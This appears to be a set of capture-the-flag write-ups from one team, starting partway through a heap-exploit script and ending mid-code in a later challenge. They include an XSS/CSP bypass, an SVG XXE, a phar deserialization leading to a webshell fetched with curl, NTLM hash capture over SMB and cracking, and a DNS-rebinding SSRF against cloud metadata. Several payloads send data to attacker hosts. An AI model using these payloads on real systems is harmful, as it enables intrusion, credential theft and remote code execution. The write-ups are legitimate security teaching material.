io.sendline("5")
io.recvuntil("name: ")
aslr_puts = u64(io.recv(8)[:-2]+"\x00\x00")
libc_base = aslr_puts - libc.sym.puts
free_hook = libc_base + libc.sym.__free_hook

log.info("puts at: %x" % aslr_puts)
log.info("libc base is at: %x" % libc_base)
log.info("free hook is at: %x" % free_hook )

payload  = p64(0x4444444444444444)*4
payload += p64(free_hook)

eat_menu(io)
free_buffer(io, "6")

alloc_buffer(io, payload=payload)

io.sendline("2")
eat_menu(io)
io.sendline("5")

one_gadget = libc_base + 0x4526a
payload = p64(one_gadget)
io.sendline(payload)

eat_menu(io)
io.sendline("4")
eat_menu(io)
io.sendline("0")
io.interactive()
io.close()
quit()

Output Run (LOCAL)

ctf@ctf:~/two$ python exploit_edited.py 
[*] '/home/ctf/two/proof_of_pown2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
[*] '/home/ctf/two/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/ctf/two/proof_of_pown2': pid 12070
[*] buffer allocated at 0xd01010
[*] buffer allocated at 0xd01110
[*] buffer allocated at 0xd01210
[*] buffer allocated at 0xd01310
[*] buffer allocated at 0xd01410
[*] buffer 1 freed
[*] buffer allocated at 0xd01110
[*] buffer 3 freed
[*] buffer allocated at 0xd011d0
[*] puts at: 7efef9400690
[*] libc base is at: 7efef9391000
[*] free hook is at: 7efef97577a8
[*] buffer 6 freed
[*] buffer allocated at 0xd011d0
[*] Switching to interactive mode
 Index: $

Flag: ptm{5t0p_m355ing_wi7h_bl0ckch4ins}

Ins'Hack 2019 - Bypasses Everywhere

Tue, 07 May 2019 13:37:00 +0000

The challenge description was minimal:

I’m selling very valuable stuff for a reasonable amount of money (for me 
at least). Go check it out!

https://bypasses-everywhere.ctf.insecurity-insa.fr

TL;DR

This writeup is about our uninteded solution of a very cool Web challenge by Hugo DELVAL. The intended solution was about triggering an XSS and bypass the CSP via a JSONP endpoint on www.google.com. Our solution abused the data:[<mediatype>][;base64],<data> URIs to get JavaScript execution. The intended solution can be found here and here.

Recon

The target website was basically made of 2 pages:

/article where you can view articles and you have a bunch of XSSes
/admin where you can send a link to the admin and you have an XSS when the link is visited

The various pages were protected with a pretty strict CSP:

Content-Security-Policy: script-src www.google.com; img-src *; 
default-src 'none'; style-src 'unsafe-inline'

Admin’s browser

By sending a simple HTTP link to the admin you’re able to notice that his browser is HeadlessChrome/73, meaning we have to deal no only with the CSP, but also with the XSS-Auditor.

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, 
like Gecko) HeadlessChrome/73.0.3683.75 Safari/537.36

Leaking admin’s page

In the admin page there was the following text, just after the url input field:

I'm usually connecting to this page using http://127.0.0.1:8080, so I'm 
pretty sure this page is safe :)

So we thought we had a way to leak somehow the content of that page, without breaking the CSP and triggering the XSS-Auditor.

Finally we managed to do it by injecting a new <img> tag with as source our domain, followed by the page’s content.

We basically sent as URL to the admin: http://127.0.0.1:8080/admin?url=c"><img src='https://exfil.jbz.team/a

The browser was so nice to close the src attribute once he found the ' in the I'm usualy ... text and sent us the page’s content in the request’s path, which after some beautifying resulted in:

from flask import request, render_template
from flask_csp.csp import csp_header
import requests
import re

with open("flag.txt") as f:
    FLAG = f.read()
def _local_access() -> bool:
    if request.referrer is not None and not 
re.match(r"^http://127\.0\.0\.1(:/d+)?/", request.referrer):
        return False
    return request.remote_addr == "127.0.0.1"
def routes(app, csp):
    @csp_header(csp)
    @app.route("/admin")
    def adm():
        url = request.args.get("picture")
        if _local_access():
            with open(__file__) as f:
                code = f.read()
        else:
            code = None
        return render_template("admin.html", url=url, code=code)
    @csp_header(csp)
    @app.route("/article", methods = ["POST"])
    def secret():
        try:
            assert _local_access()
            data = request.get_json(force=True)
            assert data["secret"] == "No one will never ever access this 
beauty"
            requests.post(data["url"], data={
                "flg": FLAG,
            }, timeout=2)
            return "yeah!"
        except Exception as e:
            app.logger.error(e)
            return

Bypassing everything and getting the FLAG

The leaked code is pretty trivial, what is needed to do to get the flag is:

Sending a POST request to /article with a specific secret and the url where we will receive the flag
The request must be sent by the admin as his IP is 127.0.0.1
If a referrer is set it must be 127.0.0.1[:port]

After some brainstorming we realized that the solution was as easy as submitting a data URI to the admin.

We’ve build a data URI which injected some JavaScript in a blank page and submitted the required request without a referrer and finally we received the ~~flag~~.

Data URI

data:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygxKTwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwOi8vamJ6LnRlYW06ODA4MC9hLmpzIj48L3NjcmlwdD4=

a.js

x=new XMLHttpRequest();
x.open("POST","http://127.0.0.1:8080/article");
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify({"secret":"No one will never ever access this 
beauty","url":"http://exfil.jbz.team/"}));

We received no FLAG and after some debugging we realized that the browser was trying to send a preflight request as the Content-Type was set to application/json, which was obviously failing as the server was not responding with the required Allowing-* headers.

Last but not least bypass and (finally) FLAG

How can we send a json request without sending a json request?

We went back to the source code and noticed the data = request.get_json(force=True) line, which brought us to Flask’s documentation:

Parse and return the data as JSON. If the mimetype does not indicate 
JSON (application/json, see is_json()), this returns None unless force 
is true.

So we can just set as Content-Type anything which does not trigger the preflight mechanism? Let’s try!

new a.js

x=new XMLHttpRequest();
x.open("POST","http://127.0.0.1:8080/article");
x.setRequestHeader("Content-Type", "text/plain");
x.send(JSON.stringify({"secret":"No one will never ever access this 
beauty","url":"http://exfil.jbz.team/"}));

And BOOM, we received the FLAG via POST to https://exfil.jbz.team/!

Flag: flg=INSA{f330a6678b14df79b05f63040537b384e4c87c87525de8d396b43250988bdfaa}

Midnight Sun CTF 2019 Quals - Rubenscube

Sat, 06 Apr 2019 13:37:00 +0000

The challenge description was minimal, just telling us about an image sharing service:

Sharing is caring. For picture wizard use only.
Service: http://ruben-01.play.midnightsunctf.se:8080

TL;DR

This challenge was about exploiting an XXE through an SVG, then invoke a PHP Object Injection through the XXE using phar:// and finally get RCE.

Recon

We run a dir scan on the target to see if any juicy file could be found.

.gitignore
robots.txt
index.php
upload.php
images/

By visiting the robots.txt file it was possible to find the path of the zip containing the source code.

User-agent: *
Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self
Disallow: source.zip

By visiting the .gitignore file it was possible to see that an un-accessible file flag_dispenser was present in the webroot.

It took 30 seconds to understand that there was a very easy to trigger XXE during SVG file parsing.

<?php
session_start();

function calcImageSize($file, $mime_type) {
    if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
        $stats = getimagesize($file);  // Doesn't work for svg...
        $width = $stats[0];
        $height = $stats[1];
    } else {
        $xmlfile = file_get_contents($file);
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
        $svg = simplexml_import_dom($dom);
        $attrs = $svg->attributes();
        $width = (int) $attrs->width;
        $height = (int) $attrs->height;
    }
    return [$width, $height];
}


class Image {

    function __construct($tmp_name)
    {
        $allowed_formats = [
            "image/png" => "png",
            "image/jpeg" => "jpg",
            "image/svg+xml" => "svg"
        ];
        $this->tmp_name = $tmp_name;
        $this->mime_type = mime_content_type($tmp_name);

        if (!array_key_exists($this->mime_type, $allowed_formats)) {
            // I'd rather 500 with pride than 200 without security
            die("Invalid Image Format!");
        }

        $size = calcImageSize($tmp_name, $this->mime_type);
        if ($size[0] * $size[1] > 1337 * 1337) {
            die("Image too big!");
        }

        $this->extension = "." . $allowed_formats[$this->mime_type];
        $this->file_name = sha1(random_bytes(20));
        $this->folder = $file_path = "images/" . session_id() . "/";
    }

    function create_thumb() {
        $file_path = $this->folder . $this->file_name . $this->extension;
        $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
        system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
    }

    function __destruct()
    {
        if (!file_exists($this->folder)){
            mkdir($this->folder);
        }
        $file_dst = $this->folder . $this->file_name . $this->extension;
        move_uploaded_file($this->tmp_name, $file_dst);
        $this->create_thumb();
    }
}

new Image($_FILES['image']['tmp_name']);
header('Location: index.php');

XXE

Using the following SVG file it was possible to confirm the XXE:

<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://jbz.team/">
%sp;
]>
<svg viewBox="0 0 400 400" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="60" y="15" style="fill:black">PoC for XXE file stealing via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="400" height="400" style="fill:green;opacity:0.3"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="10" y="20" width="380" height="370" style="fill:yellow;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara></flowPara>
         </flowDiv>
      </flowRoot>
</svg>

At that point we were like “OK, it’s time for a first blood!!11!!1”! We spawned an FTP and an HTTP services to retrieve data OOB and we weaponized the SVG file.

SVG

<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://jbz.team/evil.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 400 400" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="60" y="15" style="fill:black">PoC for XXE file stealing via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="400" height="400" style="fill:green;opacity:0.3"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="10" y="20" width="380" height="370" style="fill:yellow;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>

evil.xml

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://jbz.team/%data;'>">

A php://filter was used in order to exfiltrate data in base64, which prevents problems with new lines, encoding, etc.

We uploaded the malicious SVG and boom we received /etc/passwd file via FTP:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:101::/var/run/dbus:/bin/false

FLAG

We canged the path from /etc/passswd in the evil.xml file to /var/www/html/flag_dispenser and ~~we received the flag~~.

SADNESS

We spent hours trying to read various files to understand wheredaphrack the flag was, without success. We also asked the organizers if everything was working correctly and the answer was always “yes”.

THE IDEA

When we were pretty close to give up we remembered about the phar:// handler which in PHP allows to perform a PHP Object Injection.

To exploit it we needed:

The ability to force the server to visit a phar:// URI, which was possible via the XXE
The ability to upload a malicious phar archive on the server, which was possible only if the PHAR archive was also a valid JPG file
A gadget for our deserialization exploit, which was present in thesystem function called in the __destruct of the Image class

POLYGLOT PHAR

Using some Google-fu we found a PHP script, which, with very few changes, was used to generate a PHAR which was also a valid JPG file.

<?php
class Image {}

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$object = new Image;
$object->tmp_name = '/etc/passwd';
$object->folder = '/tmp';
$object->file_name = 'aaa`curl jbz.team/phpshell.txt > /var/www/html/images/<phpsessid>/a.php`bbb';
$object->extension = 'txt';
$phar->setMetadata($object);
$phar->stopBuffering();

The injected Image object was used to trigger the command injection in the system function:

class Image {
    [...]
    
    function create_thumb() {
        $file_path = $this->folder . $this->file_name . $this->extension;
        $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
        system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
    }

    function __destruct()
    {
        if (!file_exists($this->folder)){
            mkdir($this->folder);
        }
        $file_dst = $this->folder . $this->file_name . $this->extension;
        move_uploaded_file($this->tmp_name, $file_dst);
        $this->create_thumb();
    }
}

RCE

We uploaded the generated polyglot PHAR to the server, and then triggered the deserialization via the following SVG:

<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % data SYSTEM "phar://images/<phpsessid>/<phar_file_name>.jpg">
%data;
]>
<svg viewBox="0 0 400 400" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="60" y="15" style="fill:black">PoC for XXE file stealing via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="400" height="400" style="fill:green;opacity:0.3"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="10" y="20" width="380" height="370" style="fill:yellow;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara></flowPara>
         </flowDiv>
      </flowRoot>
</svg>

And boom we visited the downloaded webshell which executed our commands.

Then it was just a matter of executing /var/www/html/flag_dispenser, which happened to be a binary file, executable by anyone, but readable only by root, to get the flag:

Flag: midnight{R3lying_0n_PHP_4lw45_W0rKs}

Mates CTF 2018 - 420 Quiz

Mon, 18 Jun 2018 13:37:00 +0000

This challenge was a cool real world scenario and we were the only team to solve it, so it’s a good excuse to do a writeup.

The challenge question was just an URL, after you visit it you can signup with username and email and start a quiz.

Among the quiz questions there were these two interesting strings:

Relax, here is the hint: [admin]
Great, here is the second hint: [source_882c1aaf3.zip]

Visiting /admin presented us a login page with a comment which allowed us to understand that the authentication was using LDAP.

In the source_882c1aaf3.zip we found the source code of all non admin pages: index.php, lib.php and quiz.php.

After a quick analysis we discovered a PHP Object Injection in quiz.php:

    if(isset($_POST['answer'])){

        $answer = (string)$_POST['answer'];
        $ck = base64_decode($_COOKIE['userinfo']);
        if(preg_match('/O:[0-9]+:"/',$ck)){ //Filter we need to bypass
            header("Location: quiz.php");
            die();
        }
        $userinfo = unserialize($ck); //Object Injection

        if(intval($_COOKIE['quiz_no']) > 19){
            $quiz = 'Each user needs to answer only 20 quizs! Please wait for response from us.';
        } elseif(is_array($userinfo)) {
            $tmp = new SaveAnswer($userinfo['username'],$userinfo['email'],$answer.PHP_EOL);
            $quiz = make_quiz($_COOKIE['quiz_no'], True);
        } else {
            die("Cannot get userinfo");
        }

    } else {
        $quiz = make_quiz($_COOKIE['quiz_no']);
    }

As you can see there is a filter we need to bypass to exploit it, as they are trying to prevent unserialization of PHP objects:

preg_match('/O:[0-9]+:"/',$ck)

However this filter can be bypassed by replacing the object length with a signed number (i.e. O:5:"Class":1:{s:5:"param";s:5:"value";} becomes O:+5:"Class":1:{s:5:"param";s:5:"value";})

Now it’s just a matter of finding the right object to unserialize to do some magic.

In lib.php we had an handy class which was included in quiz.php:

    class SaveAnswer {
        private $folder = 'C:\\Windows\\Temp\\';
        private $filename;
        private $anscontent;

        public function __construct($username, $email, $ans)
        {
            $this->filename = $username.'_'.str_replace(['@','.',' '],'_',$email);
            $this->anscontent = (string)$ans;
        }

        private function writeToFile($mode){
            $fullpath = $this->folder.$this->filename;

            if(!file_exists($fullpath.'.txt')){
                if(!preg_match('/^C:\x5cWindows\x5cTemp\x5c[a-zA-Z0-9\.\_]+$/i',$fullpath)){
                    return False;
                }
            }

            try{
                $file = fopen($fullpath.".txt", $mode);
                fwrite($file, $this->anscontent);
                fclose($file);
            } catch(Exception $e){
                return False;
            }
            return True;
        }

        public function __destruct()
        {
            $this->writeToFile("a+");
        }
    }

Cool, a class on a Windows Server which allowed us to write to a file and we could use the PHP Object Injection to instantiate this class with arbitrary parameters.

LET’S DANCE SAMBA

Windows has a very cool feature, when you try to access a link like \\ip\file it is so nice to send the NTLM hash of the current user along with the request to try to login via Samba, so what if we try to exploit the PHP Object Injection and request a file via Samba from our server and log the NTLM hash?

To build the right serialized object we used the following PHP code:

<?php

class SaveAnswer {
        private $folder = '\\\\our_ip_here\\';
        private $filename = 'jbz';
        private $anscontent = 'jbz';

        public function __construct($username, $email, $ans)
        {
            $this->filename = $username.'_'.str_replace(['@','.',' '],'_',$email);
            $this->anscontent = (string)$ans;
        }
    }
  
$exp = new SaveAnswer('jbz','[email protected]','jbz');

echo base64_encode(str_replace("O:","O:+",serialize($exp)));

After sending a request to quiz.php with the generated payload in the userinfo cookie, we received this in our Responder server.

[SMB] NTLMv2-SSP Client     : 35.185.189.153
[SMB] NTLMv2-SSP Username   : QUIZSERVER0\r0cky0u
[SMB] NTLMv2-SSP Hash       : r0cky0u::QUIZSERVER0:1122334455667788:11726B453AFF097DBE050E3BB1386C7F:0101000000000000E0B28CD37405D401C3BA5E9BF5910DCE0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000000136927FA8611B32A37F4FD804F2D5B215872D9A9CC975CDDDE475B9AEBE2C000A001000000000000000000000000000000000000900200063006900660073002F0035002E0039002E003100310033002E003200310036000000000000000000

Now it was just a matter of launching John The Ripper with the rockyou wordlist and wait the admin password to appear and use it to login in the admin panel.

$ john --wordlist=/tmp/rockyou.txt /tmp/SMB-NTLMv2-SSP-35.185.189.153.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
BENGIjake=06     (r0cky0u)
1g 0:00:00:09 DONE (2018-06-18 19:13) 0.1023g/s 1167Kp/s 1167Kc/s 1167KC/s BIMBONA..BANDSTER
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Congratulation the flag is: matesctf{1df0d456589907360141240ec0d4fb71cd36f1fc}

Security Fest 2018 - Pongdom

Fri, 01 Jun 2018 20:00:00 +0000

Even AI needs uptime checks.

This challenge was really trivial even if it was solved by just 8 teams.

Solves: 8
Service: http://pongdom.alieni.se:3002/

Author: avlidienbrunn

2018-05-31 11:59:15 marqueexss
2018-06-01 00:36:08 jbz
2018-06-01 11:44:31 dcua

After you register and login to the service you are allowed to submit an URL and the service will just make an HTTP GET request to check if it’s up or down and will show you some bytes of the reply.

As a first attempt we submitted a Burp Collaborator link to see all interactions and what we’ve got are 2 DNS queries of type A and an HTTP GET request.

We can now simply guess that the server first tries to resolve the domain to (maybe) check if it’s an allowed resource, than does the actual request.

We also noticed that the IP address was from an AWS istance, this means that if we can obtain a SSRF (Server Side Request Forgery) we can interact with AWS APIs.

So we tried to input http://169.254.169.254.xip.io as URL but we immediatly got an error message:

Forbidden hostname!

It’s time for a DNS Race condition!

We created two DNS records of type A:

aws.jbz.swag.        59      IN      A       8.8.8.8
aws.jbz.swag.        59      IN      A       169.254.169.254

Then we submitted http://aws.jbz.swag/latest/user-data as URL hoping that the server will get 8.8.8.8 as first DNS resolution, which would bypass the IP check and 169.254.169.254 as second DNS resolution, which would give us the AWS istance configuration.

We were lucky enough to win the race at the first attempt and kabbooom a message telling us tha the URL was correctly added appeared!

Than we navigated to the status page and the flag was there: SCTF{w@fflez_w1th_cl0udb3rryj@m} :D

INS'hAck CTF 2018 - music is frequency

Mon, 09 Apr 2018 23:00:00 +0000

This challenge was pretty fun to solve, credits to the creator!!

Find a way to decrypt our rsa private key to get your reward. Because we are pretty bad musicians, we have decided to not take into account any rhythm and to round all used number to the closest.

We are given the initial description of the challenge and a zip file

The zip file contains a pdf of sheet music for Frere Jacques song and two files:

flag.enc the flag encrypted
privatekey.bin the privatekey encrypted, that’s been used to encrypt the flag

From the description of the challenge we instantly thought about using the frequency of each notes of the song to decrypt the key, but it wasn’t right.

We thought there was something in the pdf, but we didn’t find anything.

After a little bit of struggling we used hexdump on privatekey.bin and what we found? See it yourself:

$ hexdump privatekey.bin
0000000 1d 1d 1d 1d 1d 72 75 76 79 7f 10 63 62 70 10 61
0000010 62 79 66 71 64 75 10 7a 74 69 1d 1d 1c 1d 1d 3a
0000020 7d 79 79 75 5f 47 79 73 70 71 7a 72 70 61 75 71
...
...
0000660 76 69 07 4a 62 61 5f 66 6b 79 52 41 3b 1d 1d 1d
0000670 1d 1d 75 7e 74 10 62 62 71 11 60 63 78 67 71 65
0000680 75 10 7b 75 69 1d 1d 1c 1c 1d

The first two and the last two rows have something special:

We noticed that the key starts with 1d 1d 1d 1d 1d - 1d 1d 1c 1d 1d and ends with 1d 1d 1d 1d 1d - 1d 1d 1c 1c 1d. This reminded us of the - in the RSA private key format’s header, specifically: -----BEGIN RSA PRIVATE KEY-----. Also the number of byte between the 1d block were matching with the lenght of BEGIN RSA PRIVATE KEY.

We ended up xoring this header string with the hex that we got from the first rows of the key and we got a nice result: 0000000101011101000000011000100

By analyzing this string, we noticed that the numbers of 0 is always repeated, so it looks like a padding, and the other part were some numbers like 101011101 that is the binary representation of the decimal 349.

We went back and check if this was a frequency of the first note F and indeed it was. Eureka.

So we xored the rest of the privatekey using all the frequency of the notes and we got the privatekey:

Having the privatekey we used openssl to decrypt the flag:

$ base64 -d flag.enc > flag.bin
$ openssl rsautl -decrypt -inkey privatekey.pem -in flag.bin -out decrypted.txt -raw
$ cat decrypted.txt
INSA{Mus1c_15_n0t_0nly_5teg4N0}

Here it’s the complete python script for the key recovery

from Crypto.Util import strxor
def xor(a,b):
    return strxor.strxor(a,b)

begin_c = b'\x1D\x1D\x1D\x1D\x1D\x72\x75\x76\x79\x7F\x10\x63\x62\x70\x10\x61\x62\x79\x66\x71\x64\x75\x10\x7A\x74\x69\x1D\x1D\x1C\x1D\x1D'
end_c = b'\x1D\x1D\x1D\x1D\x1D\x75\x7E\x74\x10\x62\x62\x71\x11\x60\x63\x78\x67\x71\x65\x75\x10\x7B\x75\x69\x1D\x1D\x1C\x1C\x1D'

begin_p = b'-----BEGIN RSA PRIVATE KEY-----'
end_p = b'-----END RSA PRIVATE KEY-----'

print(xor(begin_c, begin_p))
#print(xor(end_c, end_p))

def note2bin(freq):
    return format(freq, '016b')

def repeat(s, wanted):
    return (s * (wanted//len(s) + 1))[:wanted]

pk = open("privatekey.bin", "rb").read()

keystream = ""
notes = [349,392,440,349,349,392,440,349,440,466,523,440,466,523,523,587,523,466,440,349,523,587,523,466,440,349,349,262,349,349,262,349]
for n in notes:
    keystream += note2bin(n)
keystream = repeat(keystream, len(pk)).encode()

key = xor(pk, keystream)

with open("privatekey", "w") as f:
    f.write(key.decode())

INS'hAck CTF 2018 - Virtual Printer

Mon, 09 Apr 2018 14:00:00 +0000

Hey ! Someone did something really smart to retrieve stolen documents. Will you find what it’s all about? https://virtual-printer.ctf.insecurity-insa.fr

We are given the address of a “Virtual Printer Service”. By issuing a POST req to /print you’ll get a 2480x3508 image (that is the standard A4 @ 300 ppi) as raw PNG data. Again, requesting /serial-number with the base64 encoded S/N of the printer, will print out the flag.

Reading the challenge, we rightly thought that we would have to deal with some sort of steganographic watermarking for documents (MIC).

On this basis, we uploaded to the Virtual Printer service a small transparent png file, providing us an almost untouched blank sheet. Analyzing the printed sheet with StegSolve, we find a matrix of dots in the blue plane 4 and 5. This same matrix is vertically repeated on 16 rows in the sheet.

A first look on the matrix made us suppose we were in front of the infamous DocuColor tracking dots, but comparing the size (15 by 8 dots for DocuColor, 64 by 8 for the Virtual Printer) and the format (no column parity or separators) of the two matrix, we quickly discarded this speculation (Thanks EFF!).

Simply decoding the matrix by 8-bit columns lead us to this output (e.g.):

ip:15110113147
d:8418
S/N:123456789123456789123456789

showing the IPv4 address and the date of the request, other than the serial number. Note that only the keys like “ip:”,”d:” and “S/N:” were ascii encoded, not the values. To make matters worse, there was a 25-seconds expiration time slot from the occurrence of the print to the submission of the S/N.

With a bit of ImageMagick and PIL, we hacked together a py script to solve it under 4 seconds. Here’s the source.

This challenge was rather easy, but for many represented an issue because of the strictness of the validation side.

Here are a few takeaways:

Use curl. It will prevent argument url encoding being applied to your parameters for POST requests (seen with python requests).
Try to include or strip CRLF characters before encoding to a base, and see what works for you!

INS'hAck CTF 2018 - Curler

Mon, 09 Apr 2018 12:46:00 +0000

Show me some stats on my website! Have a look to my source code attached too! nc curler.ctf.insecurity-insa.fr 10001 source

nc curler.ctf.insecurity-insa.fr 10001

Launching your app..
5..
4..
3..
2..
1..
Welcome to your FaaS (Fetcher as a Service)!
This program allows you to fetch some stats on a given web url.

Current config is:
URL to fetch: http://insecurity-insa.fr
Fetcher options: {'timeout': 2, 'connect timeout': 2, 'max tries': 5, 'dry run': False}

Please choose your action:
  1. Change the default configuration of our fetcher
  2. Choose the URL you want us to inspect
  3. Fetch!
  4. Exit

Choice?

From the source code we can observe a lot of limitations:

url_to_fetch must be valid JSON
url_to_fetch when parsed with urlparse must return the http scheme, a valid host and a path
fetcher_options is very limited and strictly controlled
The outbound request is not made by the script itself but sent via POST to a Flask backend (but sources are not provided)

Also, by using the service we can get these other informations:

No response content is ever returned, only statistical data, so we only know if the request was succesfull or not
The Flask backend application use aria2 to perform the requests:

connect to [jbzserver] from ip-147-135-133.eu [147.135.133.206] 57218
GET / HTTP/1.1
User-Agent: aria2/1.19.0
Accept: */*,application/metalink4+xml,application/metalink+xml
Host: jbzserver:8080

aria2 is a C language lightweight download manager which supports a lot of protocols and options. It looks like the client script sends aria2 parameters and the destination url to the backend which then probably uses them via subprocess. Given the parametrization of the parameters they are probably used correctly (i.e.: no command injection with ;$() etc) so we should check aria2 manual to see if there is any option that can be useful. However before looking into the command execution we need to find a way to send our custom parameters to tha backend.

From the source code:

def fetch():
    # Hit local flask server
    conn = HTTPConnection(fetcher_service, 8888)
    options = []
    for conf in fetch_options.values():
        options.append(conf["key"] + "=" + str(conf["value"]).lower())
